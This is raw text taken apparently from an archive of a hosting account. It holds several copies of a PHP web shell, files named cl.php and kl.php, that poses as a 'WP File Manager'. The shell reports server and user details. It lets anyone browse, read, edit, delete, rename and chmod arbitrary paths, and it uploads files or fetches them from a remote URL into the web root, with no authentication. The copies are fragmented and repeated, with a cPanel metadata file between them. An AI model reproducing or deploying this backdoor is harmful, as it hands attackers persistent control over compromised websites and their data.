Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]´!zBBilir@drsupernova.com/.metadatanu„[µü¤[addressbook] protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book type VADDRESSBOOK [calendar] type VCALENDAR protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. PK“&{]„N9³§Ë§Ëilir@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëilir@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
